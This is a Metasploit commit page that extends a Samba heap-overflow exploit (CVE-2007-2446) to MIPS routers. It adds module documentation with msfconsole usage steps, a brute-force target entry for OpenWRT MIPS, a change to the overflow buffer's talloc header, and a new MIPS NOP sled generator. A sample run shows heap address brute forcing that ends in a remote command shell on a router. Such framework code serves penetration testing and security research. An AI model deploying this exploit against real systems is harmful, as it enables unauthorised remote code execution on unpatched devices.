Skip to content

Commit b56b6a4

Browse files
author
Brent Cook
committed
Land rapid7#7328, Extend lsa_transname_heap exploit to MIPS
2 parents 8d1d017 + 312f33a commit b56b6a4

File tree

3 files changed

+214
-1
lines changed

3 files changed

+214
-1
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
## Vulnerable Application
2+
3+
Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
4+
5+
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
11+
3. Do: `show targets` to see the possible targets
12+
4. Do: `set target #`
13+
5. Do: `set rhost`
14+
6. Do: `exploit`
15+
16+
## MIPS port
17+
18+
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
19+
20+
### MIPS nop generator
21+
22+
The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code.
23+
24+
A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0`
25+
26+
### Heap address bruteforce
27+
28+
The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again.
29+
30+
When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router, the heap layout was determined by examining the ranges identified in _/proc/<pid>/maps_
31+
32+
## Scenarios
33+
34+
msf > use exploit/linux/samba/lsa\_transnames_heap
35+
msf exploit(lsa\_transnames_heap) > set target 7
36+
target => 7
37+
msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1
38+
rhost => 192.168.1.1
39+
msf exploit(lsa\_transnames_heap) > show options
40+
41+
Module options (exploit/linux/samba/lsa\_transnames_heap):
42+
43+
Name Current Setting Required Description
44+
---- --------------- -------- -----------
45+
RHOST 192.168.1.1 yes The target address
46+
RPORT 445 yes The SMB service port
47+
SMBPIPE LSARPC yes The pipe name to use
48+
49+
50+
Exploit target:
51+
52+
Id Name
53+
-- ----
54+
7 Linux Heap Brute Force (OpenWRT MIPS)
55+
56+
57+
msf exploit(lsa\_transnames_heap) > exploit
58+
59+
[*] Started reverse TCP handler on 192.168.1.3:4444
60+
[*] 192.168.1.1:445 - Creating nop sled....
61+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000...
62+
[*] 192.168.1.1:445 - Connecting to the SMB service...
63+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
64+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
65+
[*] 192.168.1.1:445 - Calling the vulnerable function...
66+
[*] 192.168.1.1:445 - Server did not respond, this is expected
67+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000...
68+
[*] 192.168.1.1:445 - Connecting to the SMB service...
69+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
70+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
71+
[*] 192.168.1.1:445 - Calling the vulnerable function...
72+
[*] 192.168.1.1:445 - Server did not respond, this is expected
73+
74+
...Some intermediate attempts ommitted...
75+
76+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000...
77+
[*] 192.168.1.1:445 - Connecting to the SMB service...
78+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
79+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
80+
[*] 192.168.1.1:445 - Calling the vulnerable function...
81+
[*] 192.168.1.1:445 - Server did not respond, this is expected
82+
[*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000...
83+
[*] 192.168.1.1:445 - Connecting to the SMB service...
84+
[*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
85+
[*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ...
86+
[*] 192.168.1.1:445 - Calling the vulnerable function...
87+
[*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000
88+
89+
uname -a
90+
Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown
91+

modules/exploits/linux/samba/lsa_transnames_heap.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -168,6 +168,20 @@ def initialize(info = {})
168168
}
169169
],
170170

171+
['Linux Heap Brute Force (OpenWRT MIPS)',
172+
{
173+
'Platform' => 'linux',
174+
'Arch' => [ ARCH_MIPSBE ],
175+
'Nops' => 64*1024,
176+
'Bruteforce' =>
177+
{
178+
'Start' => { 'Ret' => 0x55900000 },
179+
'Stop' => { 'Ret' => 0x559c0000 },
180+
'Step' => 60*1024,
181+
}
182+
}
183+
],
184+
171185
['DEBUG',
172186
{
173187
'Platform' => 'linux',
@@ -267,7 +281,7 @@ def brute_exploit(target_addrs)
267281
talloc_magic = "\x70\xec\x14\xe8"
268282

269283
# second talloc_chunk header
270-
buf << 'A' * 8 # next, prev
284+
buf << NDR.long(0) + NDR.long(0) # next, prev
271285
buf << NDR.long(0) + NDR.long(0) # parent, child
272286
buf << NDR.long(0) # refs
273287
buf << [target_addrs['Ret']].pack('V') # destructor

modules/nops/mipsbe/better.rb

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
10+
###
11+
#
12+
# MixedNop
13+
# ----------
14+
#
15+
# This class implements a mixed NOP generator for MIPS (big endian)
16+
#
17+
###
18+
class MetasploitModule < Msf::Nop
19+
20+
21+
def initialize
22+
super(
23+
'Name' => 'Better',
24+
'Alias' => 'mipsbe_better',
25+
'Description' => 'Better NOP generator',
26+
'Author' => 'jm',
27+
'License' => MSF_LICENSE,
28+
'Arch' => ARCH_MIPSBE)
29+
30+
register_advanced_options(
31+
[
32+
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
33+
], self.class)
34+
end
35+
36+
def get_register()
37+
return rand(27) + 1
38+
end
39+
40+
def make_bne(reg)
41+
op = 0x14000000
42+
43+
reg = get_register()
44+
offset = rand(65536)
45+
46+
op = op | ( reg << 21 ) | ( reg << 16 ) | offset
47+
return op
48+
end
49+
50+
def make_or(reg)
51+
op = 0x00000025
52+
53+
op = op | ( reg << 21 ) | ( reg << 11 )
54+
return op
55+
end
56+
57+
def make_sll(reg)
58+
op = 0x00000000
59+
60+
op = op | ( reg << 16 ) | ( reg << 11 )
61+
return op
62+
end
63+
64+
def make_sra(reg)
65+
op = 0x00000003
66+
67+
op = op | ( reg << 16 ) | ( reg << 11 )
68+
return op
69+
end
70+
71+
def make_srl(reg)
72+
op = 0x00000002
73+
74+
op = op | ( reg << 16 ) | ( reg << 11 )
75+
return op
76+
end
77+
78+
def make_xori(reg)
79+
op = 0x38000000
80+
81+
op = op | ( reg << 21 ) | ( reg << 16 )
82+
return op
83+
end
84+
85+
def make_ori(reg)
86+
op = 0x34000000
87+
88+
op = op | ( reg << 21 ) | ( reg << 16 )
89+
return op
90+
end
91+
92+
def generate_sled(length, opts)
93+
94+
badchars = opts['BadChars'] || ''
95+
random = opts['Random'] || datastore['RandomNops']
96+
nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ]
97+
sled = ''
98+
99+
for i in 1..length/4 do
100+
n = nop_fn.sample
101+
sled << [send(n, get_register())].pack("N*")
102+
end
103+
104+
return sled
105+
end
106+
107+
end
108+

0 commit comments

Comments
 (0)